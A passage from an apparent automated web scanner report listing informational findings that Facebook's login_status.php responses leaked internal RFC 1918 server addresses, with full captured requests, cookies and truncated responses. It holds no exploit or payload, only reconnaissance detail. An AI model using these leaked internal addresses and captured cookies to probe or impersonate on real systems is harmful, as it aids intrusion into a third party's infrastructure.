static.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df16067e12f9be9c%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df9098f09cf7c14&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df353f6ab9e0ce84%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df9098f09cf7c14&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.0.39
X-Cnection: close
Date: Mon, 19 Sep 2011 19:26:00 GMT
Content-Length: 254

<script type="text/javascript">
parent.postMessage("cb=f16067e12f9be9c&origin=http\u00253A\u00252F\u00252Fnews.cnet.com\u00252Ffd9cdd4a14686&relation=parent&transport=postmessage&frame=f9098f09cf7c14"
...[SNIP]...

15.18. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.131.52

Request

GET /extern/login_status.php?api_key=147046808648758&app_id=147046808648758&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfd56adfe83edc%26origin%3Dhttp%253A%252F%252Fwww.csoonline.com%252Fff649b401cb8fc%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df173dc5cb7acf46%26origin%3Dhttp%253A%252F%252Fwww.csoonline.com%252Fff649b401cb8fc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df7896aafd9de9e%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df21e5d62ff797c4%26origin%3Dhttp%253A%252F%252Fwww.csoonline.com%252Fff649b401cb8fc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df7896aafd9de9e&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df134496e9f5ce3c%26origin%3Dhttp%253A%252F%252Fwww.csoonline.com%252Fff649b401cb8fc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df7896aafd9de9e&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1a5ef9744d20c6%26origin%3Dhttp%253A%252F%252Fwww.csoonline.com%252Fff649b401cb8fc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df7896aafd9de9e&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.131.52
X-Cnection: close
Date: Mon, 19 Sep 2011 19:33:24 GMT
Content-Length: 264

<script type="text/javascript">
parent.postMessage("cb=f134496e9f5ce3c&origin=http\u00253A\u00252F\u00252Fwww.csoonline.com\u00252Fff649b401cb8fc&relation=parent&transport=postmessage&frame=f7896aafd9
...[SNIP]...

15.19. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.12.45

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfb699e299a118%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff28bb3aedeca5c4%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfd8c2aaaba1a3%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff28bb3aedeca5c4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df30163bedad4e84%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1a28328def113e%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff28bb3aedeca5c4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df30163bedad4e84&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df984661d9f0bd6%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff28bb3aedeca5c4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df30163bedad4e84&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1852d3b0bfd5a4%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff28bb3aedeca5c4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df30163bedad4e84&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/?tag=hdr
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.12.45
X-Cnection: close
Date: Mon, 19 Sep 2011 19:24:31 GMT
Content-Length: 256

<script type="text/javascript">
parent.postMessage("cb=f984661d9f0bd6&origin=http\u00253A\u00252F\u00252Fwww.cnet.com\u00252Ff28bb3aedeca5c4&relation=parent&transport=postmessage&frame=f30163bedad4e84
...[SNIP]...

15.20. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.197.56

Request

GET /extern/login_status.php?api_key=103924619692623&app_id=103924619692623&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df11284f91a977a4%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff1b32fa97d8ef1%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2d6819b21a8982%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff1b32fa97d8ef1%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb5aa57c5a7928%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df353c55a247487c%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff1b32fa97d8ef1%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb5aa57c5a7928&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df78a3c824eaee%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff1b32fa97d8ef1%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb5aa57c5a7928&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df321757aa00a1d6%26origin%3Dhttp%253A%252F%252Fwww.itworld.com%252Ff1b32fa97d8ef1%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb5aa57c5a7928&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.197.56
X-Cnection: close
Date: Mon, 19 Sep 2011 19:17:05 GMT
Content-Length: 258

<script type="text/javascript">
parent.postMessage("cb=f78a3c824eaee&origin=http\u00253A\u00252F\u00252Fwww.itworld.com\u00252Ff1b32fa97d8ef1&relation=parent&transport=postmessage&frame=fb5aa57c5a7928
...[SNIP]...

15.21. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.212.45

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df11fcfa2383924%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df37d62210a6870c%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df36536a08aa645%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df16adeb80386352%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df36536a08aa645&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3ccc28660bf028%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df36536a08aa645&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2dcf87b0514f0e%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df36536a08aa645&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.212.45
X-Cnection: close
Date: Mon, 19 Sep 2011 19:18:25 GMT
Content-Length: 264

<script type="text/javascript">
parent.postMessage("cb=f3ccc28660bf028&origin=http\u00253A\u00252F\u00252Fdownload.cnet.com\u00252Ff749aca5928b3a&relation=parent&transport=postmessage&frame=f36536a08a
...[SNIP]...

15.22. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.208.53

Request

GET /extern/login_status.php?api_key=207746912580248&app_id=207746912580248&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df952b5a88%26origin%3Dhttp%253A%252F%252Fyipit.com%252Ff92d15bd%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1e4d9764%26origin%3Dhttp%253A%252F%252Fyipit.com%252Ff92d15bd%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3b958943%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2ba1efb78%26origin%3Dhttp%253A%252F%252Fyipit.com%252Ff92d15bd%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3b958943&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df7c54a908%26origin%3Dhttp%253A%252F%252Fyipit.com%252Ff92d15bd%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3b958943&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2b47782f4%26origin%3Dhttp%253A%252F%252Fyipit.com%252Ff92d15bd%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3b958943&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://yipit.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.208.53
X-Cnection: close
Date: Mon, 19 Sep 2011 21:49:07 GMT
Content-Length: 58

Given URL is not allowed by the Application configuration.

15.23. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.81.43

Request

GET /extern/login_status.php?api_key=129182073794488&app_id=129182073794488&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2db2b690149e8%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff5c488f36131f2%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1f75eb05134a5a%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff5c488f36131f2%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ba2144bf7b112%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df5837a6d7e8b1a%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff5c488f36131f2%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ba2144bf7b112&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2df5ad592a5658%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff5c488f36131f2%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ba2144bf7b112&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3904180a824bc6%26origin%3Dhttp%253A%252F%252Fwww.cio.com%252Ff5c488f36131f2%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ba2144bf7b112&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.81.43
X-Cnection: close
Date: Mon, 19 Sep 2011 19:33:00 GMT
Content-Length: 253

<script type="text/javascript">
parent.postMessage("cb=f2df5ad592a5658&origin=http\u00253A\u00252F\u00252Fwww.cio.com\u00252Ff5c488f36131f2&relation=parent&transport=postmessage&frame=f1ba2144bf7b112"
...[SNIP]...

15.24. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.173.58

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.173.58
X-Cnection: close
Date: Mon, 19 Sep 2011 19:16:06 GMT
Content-Length: 22

Invalid Application ID

15.25. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.72.130

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1e70a944fd694c%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df17730c9f323d2c%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb03dc653b357%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df5d7362f83d6ea%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb03dc653b357&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1c5fb4e9e5993c%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb03dc653b357&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df270833337c698%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfb03dc653b357&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/internet-security/?tag=mncol;txt
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.72.130
X-Cnection: close
Date: Mon, 19 Sep 2011 19:29:10 GMT
Content-Length: 251

<script type="text/javascript">
parent.postMessage("cb=f1c5fb4e9e5993c&origin=http\u00253A\u00252F\u00252Fwww.cnet.com\u00252Ff97219f897485&relation=parent&transport=postmessage&frame=fb03dc653b357",
...[SNIP]...

15.26. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.160.31

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.160.31
X-Cnection: close
Date: Mon, 19 Sep 2011 19:32:55 GMT
Content-Length: 253

<script type="text/javascript">
parent.postMessage("cb=f17534518c30ec2&origin=http\u00253A\u00252F\u00252Fwww.cio.com\u00252Ff32a179525d417&relation=parent&transport=postmessage&frame=f3306ce0a38f6b4"
...[SNIP]...

15.27. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.211.49

Request

GET /extern/login_status.php?api_key=your%20app%20id&app_id=your%20app%20id&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df18ff436403e3e6%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff3ee03269f3286c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2214c3f67e4afc%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff3ee03269f3286c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfbce86e18282d2%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3ba9a21cda2a34%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff3ee03269f3286c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfbce86e18282d2&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df6265f8b8a9a34%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff3ee03269f3286c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfbce86e18282d2&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1bea53debc7afe%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff3ee03269f3286c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfbce86e18282d2&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.filecluster.com/Games/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.211.49
X-Cnection: close
Date: Mon, 19 Sep 2011 19:23:31 GMT
Content-Length: 22

Invalid Application ID

15.28. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.72.104

Request

GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df12f44c70c1b5ae%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3dad36f0d22012%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df121e87ebe9834a%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df22057d94767ee4%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df121e87ebe9834a&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2f3bc316398566%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df121e87ebe9834a&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df12980ff9646566%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df121e87ebe9834a&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/internet-security/?tag=mncol;txt
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.72.104
X-Cnection: close
Date: Mon, 19 Sep 2011 19:29:08 GMT
Content-Length: 253

<script type="text/javascript">
parent.postMessage("cb=f2f3bc316398566&origin=http\u00253A\u00252F\u00252Fwww.cnet.com\u00252Ff97219f897485&relation=parent&transport=postmessage&frame=f121e87ebe9834a"
...[SNIP]...

15.29. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.150.31

Request

